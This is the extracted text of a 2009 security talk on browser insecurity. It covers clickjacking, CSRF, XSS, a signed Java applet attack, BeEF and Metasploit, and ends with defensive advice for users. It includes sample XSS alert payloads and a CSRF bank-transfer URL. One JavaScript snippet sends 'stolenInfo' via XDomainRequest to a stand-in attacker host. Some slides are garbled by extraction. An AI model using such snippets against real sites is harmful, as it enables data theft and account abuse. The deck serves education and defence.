Total Browser Pwnag3





110101000

NINININI

Joshua D. Abraham Security Expert



Disclaimer

 We are trained professionals with over 15 years combined experience in these matters – it goes without saying – don't try this at home! If you attempt anything you see today you may be subject to any number of locally applicable laws resulting in fines or imprisonment.

• Knowledge is power – please use it responsibly



- Where browsers started
 - Remember *gopher*?
 - × Text-based way to retrieve Internet-stored information
 - First web browser was "WorldWideWeb" (Feb. 26, 1991)
 - × Sir Tim Berners-Lee
 - Capable of displaying style-sheets, and media supported by the NeXT system
 - × First program to use HTTP (Hypertext Transfer Protocol) invented by Berners-Lee in 1989
 - ➤ HTTP was a leap forward and a move from text → graphical "browsing"
 - Flurry of development activity culminated in Mosaic
 - Great history of the web on W3 (http://www.w3.org/History.html)



C	I	i	d	0	6
9	ł	ł	u	C	U

MSOffice1 very hard to read , 1/3/2009

- What happened along the way
 - 2 main browser foundations
 - × Lynx (text-based browser for the terminal)
 - × Mosaic foundation for most modern browsers
 - Spawned Netscape \rightarrow Mozilla branch
 - Spawned MS Internet Explorer branch
 - × Several "boutique" browsers including...
 - o OmniWeb, iCab, w3m, Tamaya, Opera Arachne
 - Browsers all adhere [loosely] to the HTML-spec
 - × Currently on version 5 DRAFT
 - <u>http://dev.w3.org/html5/spec/Overview.html</u>
 - × Many "proprietary" technologies in browsers
 - Microsoft's ActiveX... only works in MSIE

- Modern web browsers and content
 - Modern browsing
 - × Simple HTML has evolved into RIA
 - × Synchronous to asynchronous browsing
 - × Cross-platform support of media and content
 - Aren't there Standards?
 - × HTML standards aren't followed 100%
 - × HTML-spec focused on features, not security
 - The browser, over-extended
 - × Browsers today are doing more than they were intended to
 - × Features/functions are at odds with good security
 - × ... this creates a problem

- Evolution of HTML Specification
 - Start: HTML v1
 - × Very simple
 - × Basic layout and rendering of static content
 - Evolved: HTML v5 (draft)
 - × Extremely complex
 - × Rich user-experience
 - Supported embedded content, media and interactive elements
 - Complexity is the enemy of security
 - × More complex structures create possibility for exploitation
 - × Functionality at the sacrifice of security
 - Security is an afterthought...

10

• Hacking a standard

- (current) HTML-spec is flawed
- Exploitation is possible
- NO "fix" is available
- ClickJacking... more than a theoretical attack...
- o DEMO



• Delivering content of HTTP

- HyperText Transfer Protocol
- Current version HTTP/1.1, RFC 2616
 - x (http://tools.ietf.org/html/rfc2616)
- Published in June 1999
 - WikiPedia: <u>http://en.wikipedia.org/wiki/Hypertext</u> Transfer Protocol

Clearly outdated

- Never really intended to be *session-aware*
- Request/Response synchronous framework
- Modern "browsers" use HTTP as an interactive protocol

- Several reasons browsers are over-extended
 - User-state tracking
 - × HTML-spec initially had no notion of "state"
 - × Bolt-on as pages turned to applications
 - Highly interactive "applications" (RIA, etc)
 - Browser meant to render static content
 - **×** Browsers never meant to house *applications*
 - Synchronous vs. Asynchronous requests
 - × HTTP-spec built around client single request/response
 - × Asynchronicity creates gaping security issues
 - ...and there are more

• Tracking state

- State-management a browser "afterthought"
- Browser not meant to handle persistent sessions with server
- Goes against foundational principles of "browser" technology

• User state tracked in various ways

- o Cookie
 - × Piece of persistent code stored on your computer
- Parameter
 - × Variable inside the browser session
 - × In the URI, inside POST, or other method
- Client-side... so it can be manipulated, lost or stolen
 - × ...and then it gets complicated

• Highly interactive *applications*

- Browser intended to render server response (pages)
- Browser not intended for real-time interactivity with user
- Functions to enable Rich Internet Applications (RIA) shoehorned into the browser
 - × Microsoft's ActiveX, Silverlight
 - × Java Applets (DEMO later)
 - × Adobe Flash, AIR
 - × AJAX frameworks
 - × Browser plug-ins
 - Firefox add-ons (Keylogger DEMO)
 - MS IE BHOs (browser-helper objects)
- The Browser is too complex for its own good

16

- Java Applet Attack ("Single Click of Death")
- Self Signed
- Execute code anywhere
 - o Windows
 - o Linux
 - Mobile devices
- OS Detection
- ~DEMO~

Warning - Security The application's digital signature cannot be verified. Do you want to run the application? HelloWorld Name: Publisher: Microsoft Corporation

- http://192.168.159.134 From:
- Always trust content from this publisher.



The digital signature cannot be verified by a trusted source. Only run if you trust the origin of the application.

More Information...

Cancel

Run

- Synchronous vs. Asynchronous requests
 - Browser spec built around user click (request) → response
 - × User requests page, server returns page and embedded objects
 - Functionality necessitated evolution
 - × Full-page refresh on every mouse click/load was annoying to users
 - × Methods for automating object loads (requests) created (AJAX)
 - × Browser can now fetch requests on user's behalf...
 - ...and without the user's knowledge
 - Security issues arise
 - × Differentiate between script & user requests...
 - Stop and think... script on a *page* can request other objects
 - × Great for rich user experience
 - × Scary for security

18

- Cookies
- Session ID (Used to Authenticate the User)
 - o Username
 - Password
 - Expiration (30 minutes)
 - Single session per login instance

• Example:

- o User opens: <u>https://www.gmail.com</u>
- Enters username
- Enters complex password
- o Clicks login...

19

• ... And the Session ID is transferred securely right??

NAME	SID
VALUE	DQAAAGwAAAAIBmYCSh1I7G8JO7VUnj0BT6aScsPW/ITpfSy5BCfjCu9BbdXnPR0Reb1n2iqgjJxxC8mliS20XLcrfomE43UoQfs8d0fR9ed0Yx- UnVYrLwkPFwP8cMUVy1pkF0R9DRW/rjWzu8-xGVZw-2kT88gK
HOST	.google.com
PATH	
SECURE	No
EXPIRES	At End Of Sea
• Mayb	e not
	10 March 2009

20

- Session Management
 - Setting Session IDs within Cookies
 - Session IDs
 - × Sufficient randomness
 - × http://en.wikipedia.org/wiki/FIPS 140-2
- Attacks
 - o CSRF
 - HTTP capture
 - o Surfjack
 - Session Testing

21

- Cross Site Request Forgery (CSRF)
 - User is logged into bank
 - Bank website is vulnerable to CSRF
 - Attacker send user malicious link
 - User clicks the click and the attacker now is \$5000 richer

• Examples:

o <u>https://bank.com/transfer?amount=5000&toaccount=123</u>





24

- What is Cross Site Scripting?
- What are the Types?
 - DOM-Based
 - Reflective
 - Persistent
- How do you find XSS?
 - o <u>http://ha.ckers.org/xss.html</u>



25

- Storage of Malicious JavaScript in the database
 - Example: Administrative Log Page
 - × Reads username from DB for a failed login attempt
 - × Write the result to the an administrative log
 - × ...
 - × What if we enter:
 - o <script>alert('XSS')</script> as the username???
- Input from the DB written to the page

26

Attacker inserts Javascript

• Ex: document.write('<script>alert('XSS')</script>');

Browser writes the Javascript to the DOM

Javascript is rendered

Client Pwn3d











10 March 2009

31

Issues Not Fixed Properly

- Known Open Redirects
 - Google.com since 2006!
 - o Other sites Yahoo.com, Ask.com, Lycos.com ...

Known Instances of XSS

- Search Engine for issues (xssed.com)
- American Express
 - × Not fixed until it is fixed
 - Theregister.co.uk
- Social Networking sites
 - × Potential for worms
 - × Everyone remember sammy?



32

Browser Exploit Framework (BeEF)

- Attacking many clients at once
- Stores the results in log files
- Ability to add multiple attack vectors
- Open Source
- Included in BackTrack LiveCD (http://remote-exploit.org)
- http://www.bindshell.net/tools/beef/
- DEMO

33)

Metasploit Exploit Framework

- Exploits => 305
- Payloads => 170
- Encoders => 20
- Auxiliary modules => 67

34

MetaSploit Browser Attacks

- Browser Autopwn
 - Flaws in IE
 - Flaws in Firefox

Malicious Files

- Office Documents (doc,xls,ppt)
- And PDFs (Adobe browser plugin DEMO)
- HTTP / HTTPS capture

35

• IE XML Corruption Exploit

• Oday on milworm

- Not reliable
- Single OS, single payload
- Modifying the payload (manual)

MSFv3 module soon thereafter

- Reliable
- Multiple payloads
- Modifying the payload (easy)

• ~DEMO~



- Can a web browser be made "secure"?
 - Can security vulnerabilities be eliminated?
 - Can standards issues be mitigated?
- What are the trade-offs?
 - More security = less features
 - Less complexity = more security
 - Both are contrary to current builds of modern browsers
- Try your browser with all plug-ins, scripting, active content, disabled...
 - Welcome back to 1996!

38)

• Brower +

- First, define the role of the browser
 - × All-in-one render engine?
 - × Plug-in manager?
- Natively browsers need to render simple content
 - × Standards-based HTML, DHTML, etc
- About those plug-ins
 - o Toolbars
 - BHO (for IE)
 - Add-ins (for Firefox)

- Internet Explorer 8.0+
 - Advancements:
 - × Internal anti-Cross-Site Scripting (XSS)
 - Natively attempt to break Type-1 (reflected) attacks
 - Browser-based "neutering" for XSS prevention



- × Content-sniffing opt-out
 - Forces browser not to interpret content
- × URL Highlighting

• Base URL is highlighted for user safety/clarity

- Internet Explorer 8.0+
 - o Setbacks
 - × Cross-Domain Requests (XDR Object)
 - Allows Scripts simple way to pass data; effectively breaking same-origin policy

rioni web page (to okc	LUCAI	Intranet	(fusteu(intranet)	indsted(internet)	Internet	Restricted
Local	Allow	Allow	Allow	Allow	Allow	Deny
Intranet	Deny	Allow	Allow	Allow	Allow	Deny
Trusted(Intranet)	Deny	Allow	Allow	Allow	Allow	Deny
Trusted(Internet)	Deny	Deny	Deny	Allow	Allow	Deny
Internet	Deny	Deny	Deny	Allow	Allow	Deny
Restricted	Deny	Deny	Deny	Deny	Deny	Deny

Internet Tructed(Internet) Tructed(Internet) Internet Destrict

- XDR Object simplifies cross-domain requests
 - var xdr = new XDomainRequest(); xdr.open("POST", "http://www.bad guy.com/"); xdr.send(stolenInfo);

• FireFox 3+

• Advancements

× Anti-Phishing/Malware

- Full-page browser warning (through Google Safe-Browsing API)
- Anti-Phishing updates 48 times/day
- × Focused on security

• Mozilla's goal: bolster security in FireFox

× Automatic update

• Automatically get latest browser updates for maximum security

× Pop-up blocker

• Block pop-ups with customizable options

93	Reported Web Forgery!					
2	This web site at www.mozilla.com h been blocked based on your secure					
	Web forgeries are designed to trick you in information by imitating sources you may					
	Entering any information on this web page					
	Get me out of here! Why was this site if					

42

- FireFox 3+
 - o Drawbacks
 - × Currently leading in disclosed vulnerabilities
 - ... but so far that's it.

- Securing HTML-spec? (v5)
 - Functionality vs. Security
 - × Functionality requires complexity
 - × Complexity often causes security issues
 - × Living with exploitable functionality
 - More "exploitable functionality" will be uncovered
 - × HTML v5 is too complex not to have faults
 - × AJAX frameworks continue to add functions/methods
- Can increased functionality (RIA) co-exist with the need for security?

- Developer Tools
 - Helping
 - × Enabling faster development of pages and applications
 - × Allowing non-experts to create pages and applications
 - Hurting
 - × More "point and click" development
 - × A single broken development tool accounts for mass breakage
 - Developers many not understand complexities of what they are doing
 - × Heavy reliance on tools to "do security for you"

45

- Building a secure browser
 - What is considered "secure"?
 - What would need to be sacrificed?
 - Is it feasible?

• A "secure" browser checklist

- NoScript-type functionality
- Native & effective pop-up blockers
- Sessions destroyer(s)
- True SSL validation
- All features have to be user-friendly

46

• The secure browser challenge

• Even if the browser is 100% bug-free...

- × The spec is broken
- × Add-ons are exploitable
- × Malicious add-ons abound
 - "toolbars"
 - "plug-ins"
- × Developers still write buggy code
- × The standards are too complex to implement

- Is there any hope?
 - o Maybe...
 - × Start by fixing the HTML standards
 - × Educate users not to install unknown plug-ins
 - × Educate developers to write better applications/sites
 - × Think twice before adding functionality to your browser
 - Maybe not...
 - × The browser was never meant to do what it does today
 - × Perhaps it's time for a revolution... a new tool or ?
 - × Since day 1 we've gotten it wrong consistently
 - × Millions of you have your browsers "infected" or trojaned



49

- Protecting yourself in "cyberspace"
 - Know who/what to trust
 - × Trust no one (or no site)
 - × Some sites are more trustworthy than others <ahem>
 - × Always be weary of "free" widgets they come with a price
 - × No site deserves your unverified trust
 - × Remember **any** site can be compromised (and likely will)

- Know where to click
 - Always (ALT+F4) on pop-up windows
 - × Malicious people can change window appearance and behavior of buttons... never trust buttons!
 - Check link target when you mouse-over a link
 - Never fall for "scare-tactics"
 - "Your computer is infected, click here to install remover utility"
 - \times ~100% of those pop-ups are malware
 - Never click links in emails
 - × Even from people you think you trust... you never know



- Know which browser to use
 - FireFox vs. Internet Explorer
 - × FireFox is currently "more secure by design"
 - × Many exploits/attacks written for Internet Explorer
 - × NoScript plug-in for FireFox greatly increases security
 - × Internet Explorer utilizes ActiveX (an old, buggy technology)
 - When Internet Explorer is the only option...
 - × Use it in limited capacity
 - × Navigate only to trusted sites
 - NO browser is 100% safe to use
 - × Overall, FireFox has proven to be more natively secure

52

- Always keep yourself up-to-date
 - Internet Explorer
 - × Utilize Microsoft's auto-update feature
 - × Visit update.microsoft.com regularly
 - o FireFox
 - × Auto-updates (close it out regularly)
 - × Answer YES when asked to update!
 - Pay attention to tech news if you can...
 - × Valuable information on where browser problems exist

53)

- Use good add-ons
 - × NoScript
 - FireFox plug-in
 - Usable security against script-based attacks
 - Native protection against ClickJacking, other attacks
 - Requires user intervention and intelligence
 - × CSRF Protector (helps protect against Clickjacking too)
 - o <u>http://www.cs.princeton.edu/~wzeller/csrf/protector/</u>
 - × Others
 - Many other plug-ins exist
 - Mostly for FireFox

54)

- Use a sandbox
 - × Virtual machine for high-security
 - Build a VMWare throw-away image
 - No matter how infected, it will always return to safe
 - × Sandbox your browser?
 - Sandboxie
 - ForceField from Zone Labs
 - Run your browser in a "jail" so it can't modify your PC
 - Remove your browser's ability to do damage to your PC

55

• Stay alert

- × Always make sure you know what you're clicking no
- × If you don't trust it, don't click it
- × Never click links in emails
- × Remember: nothing is really free
- × Watch your mouse pointer...
 - If it turns to an hour-glass for no reason after you visit a site, that my be a sign of something malicious going on
- × Check SSL certificates
 - Don't just blindly click through error messages







Crystal Ball

59

Browser with no add-ons

Browser with security built-in

- o NoScript
- Pop-up blockers
- o SSL validation
- Session destroyers

Browse monitor

- All JavaScript calls
- All requests
- IPS for the browser

Crystal Ball

60

Exploiting Standards...

• Around the industry

- CA root server MD5SUM collision
- Kaminky's DNS vulnerability
- o RSnake's Clickjacking

• Why Hack? Exploit a Standard

- Browsers don't check for "malice"
- Exploiting standards = impossible to "patch"
- Good luck writing a signatures
- Only fix is rewrite standards...
 - × And... remove features?



References

62

- Pg 28 IE8
 - <u>http://blogs.msdn.com/ie/archive/2008/09/02/ie8-security-</u> <u>part-vi-beta-2-update.aspx</u>
- Pg 29 IE8
 - o <u>http://securitylabs.websense.com/content/Blogs/2932.aspx</u>
- Pg 42 Sandboxie
 - o <u>http://www.sandboxie.com/</u>
- Pg 42 ForceField
 - o <u>http://www.zonealarm.com/security/en-us/home.htm</u>



